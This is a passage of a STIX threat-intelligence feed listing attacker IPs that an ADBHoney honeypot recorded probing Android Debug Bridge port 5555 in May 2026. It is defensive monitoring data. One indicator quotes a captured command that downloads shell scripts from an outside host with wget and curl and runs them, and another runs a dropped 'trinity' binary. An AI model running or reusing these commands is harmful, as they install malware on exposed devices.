      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-04T02:14:47.000Z | last_seen=2026-05-04T02:26:20.958Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--e44ba671-8e20-4856-983f-6fb416831236",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:00:39.000Z",
      "valid_until": "2026-06-05T03:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-04T02:14:47.000Z",
          "last_seen": "2026-05-04T02:26:20.958Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T03:00:39.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RU; asn=201776; asn_org=Miranda-Media Ltd; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-04T02:16:29.000Z | last_seen=2026-05-04T02:17:30.398Z | ports=5555 | cc=RU | asn=201776 | org=Miranda-Media Ltd",
      "id": "indicator--2d56a2fb-271f-4ca0-8020-ce57775ecdb0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '31.40.208.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:00:39.000Z",
      "valid_until": "2026-06-05T03:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-04T02:16:29.000Z",
          "last_seen": "2026-05-04T02:17:30.398Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "201776"
          ],
          "org": [
            "Miranda-Media Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T06:00:34.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=400587; asn_org=Ryamer, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-04T05:49:08.000Z | last_seen=2026-05-05T05:34:33.305Z | ports=5555 | cc=US | asn=400587 | org=Ryamer, LLC",
      "id": "indicator--5b185cba-fd0c-46af-b2d0-a276064dcb1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '121.127.34.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:00:34.000Z",
      "valid_until": "2026-06-05T06:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-04T05:49:08.000Z",
          "last_seen": "2026-05-05T05:34:33.305Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "400587"
          ],
          "org": [
            "Ryamer, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T06:00:34.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=16276; asn_org=OVH SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-04T05:17:28.000Z | last_seen=2026-05-04T05:18:37.144Z | ports=5555 | cc=FR | asn=16276 | org=OVH SAS",
      "id": "indicator--ff303db0-de6a-4d67-9300-5e4e950aaf38",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '51.195.54.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:00:34.000Z",
      "valid_until": "2026-06-05T06:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-04T05:17:28.000Z",
          "last_seen": "2026-05-04T05:18:37.144Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "16276"
          ],
          "org": [
            "OVH SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T06:00:34.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-04T05:29:00.000Z | last_seen=2026-05-04T05:39:05.404Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--550c7e65-bd85-4fbe-a011-96bdc6585437",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '73.127.166.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:00:34.000Z",
      "valid_until": "2026-06-05T06:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-04T05:29:00.000Z",
          "last_seen": "2026-05-04T05:39:05.404Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T08:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=33 | first_seen=2026-05-04T07:43:23.000Z | last_seen=2026-05-30T08:52:04.000Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--0e412c0b-5566-476b-b33a-da4f3ec0d561",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T08:00:10.000Z",
      "valid_until": "2026-06-05T08:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 33,
          "first_seen": "2026-05-04T07:43:23.000Z",
          "last_seen": "2026-05-30T08:52:04.000Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T12:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=VN; asn=18403; asn_org=FPT Telecom Company; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://103.77.246.173:8888/w.sh; sh w.sh; curl http://103.77.246.173:8888/c.sh; sh c.sh; wget http://103.77.246.173:8888/wget.\"\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-04T11:14:09.000Z | last_seen=2026-05-04T11:16:03.131Z | ports=5555 | cc=VN | asn=18403 | org=FPT Telecom Company",
      "id": "indicator--522cbb71-867a-45ac-8d00-772294411368",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '1.52.126.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:00:12.000Z",
      "valid_until": "2026-06-05T12:00:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-04T11:14:09.000Z",
          "last_seen": "2026-05-04T11:16:03.131Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "18403"
          ],
          "org": [
            "FPT Telecom Company"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T12:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-04T11:45:17.000Z | last_seen=2026-05-04T11:55:21.999Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--cc6673cb-34d0-40c5-bd8f-9024dc01b16d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.61.178.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:00:12.000Z",
      "valid_until": "2026-06-05T12:00:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-04T11:45:17.000Z",
          "last_seen": "2026-05-04T11:55:21.999Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T13:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=37 | first_seen=2026-05-04T12:15:29.000Z | last_seen=2026-05-23T08:01:20.223Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--af51f86d-0d3a-43f0-aa5b-aadecc547e79",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:00:10.000Z",
      "valid_until": "2026-06-05T13:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 37,
          "first_seen": "2026-05-04T12:15:29.000Z",
          "last_seen": "2026-05-23T08:01:20.223Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=BG; asn=48090; asn_org=Techoff Srv Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=34 | first_seen=2026-05-04T13:24:53.000Z | last_seen=2026-05-29T16:14:50.398Z | ports=5555 | cc=BG | asn=48090 | org=Techoff Srv Limited",
      "id": "indicator--a71551c8-c6d1-4a93-ae50-2cdd5e75a482",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.178.110.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:00:10.000Z",
      "valid_until": "2026-06-05T14:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 34,
          "first_seen": "2026-05-04T13:24:53.000Z",
          "last_seen": "2026-05-29T16:14:50.398Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "48090"
          ],
          "org": [
            "Techoff Srv Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T15:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-04T14:59:22.000Z | last_seen=2026-05-04T15:00:24.462Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--97e8359a-20a7-4946-9375-925af9f0c9fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:00:10.000Z",
      "valid_until": "2026-06-05T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-04T14:59:22.000Z",
          "last_seen": "2026-05-04T15:00:24.462Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=210457; asn_org=Kyonix Networks Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-04T19:33:45.000Z | last_seen=2026-05-04T19:34:49.686Z | ports=5555 | cc=US | asn=210457 | org=Kyonix Networks Limited",
      "id": "indicator--7a12eaa8-bbb2-428d-a1ea-088682daacc9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '2.26.252.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:00:02.000Z",
      "valid_until": "2026-06-05T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-04T19:33:45.000Z",
          "last_seen": "2026-05-04T19:34:49.686Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "210457"
          ],
          "org": [
            "Kyonix Networks Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=54; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=114 | first_seen=2026-05-04T19:03:14.000Z | last_seen=2026-05-09T10:36:13.052Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0,0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
      "id": "indicator--0b798b7d-eb47-4720-9bb2-ceddec9fd903",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:00:02.000Z",
      "valid_until": "2026-06-05T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 114,
          "first_seen": "2026-05-04T19:03:14.000Z",
          "last_seen": "2026-05-09T10:36:13.052Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RU; asn=216473; asn_org=Bashinskii Vadim Ruslanovich; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=57 | first_seen=2026-05-04T19:04:46.000Z | last_seen=2026-05-30T22:18:16.479Z | ports=5555 | cc=RU | asn=216473 | org=Bashinskii Vadim Ruslanovich",
      "id": "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.66.83.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T20:00:02.000Z",
      "valid_until": "2026-06-05T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 57,
          "first_seen": "2026-05-04T19:04:46.000Z",
          "last_seen": "2026-05-30T22:18:16.479Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "216473"
          ],
          "org": [
            "Bashinskii Vadim Ruslanovich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T21:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CN; asn=56047; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=3 | first_seen=2026-05-04T20:02:17.000Z | last_seen=2026-05-04T20:03:18.549Z | ports=5555 | cc=CN | asn=56047 | org=China Mobile communications corporation",
      "id": "indicator--611221d3-e979-495c-96eb-270e63302a85",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '111.8.44.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:00:10.000Z",
      "valid_until": "2026-06-05T21:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 3,
          "first_seen": "2026-05-04T20:02:17.000Z",
          "last_seen": "2026-05-04T20:03:18.549Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56047"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-04T21:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-04T20:23:10.000Z | last_seen=2026-05-19T02:05:43.474Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--3c3f81f0-1b43-4b77-a058-307cda5ab537",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:00:10.000Z",
      "valid_until": "2026-06-05T21:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-04T20:23:10.000Z",
          "last_seen": "2026-05-19T02:05:43.474Z",
          "ports": [
            "5555"
          ],
          "countries": [
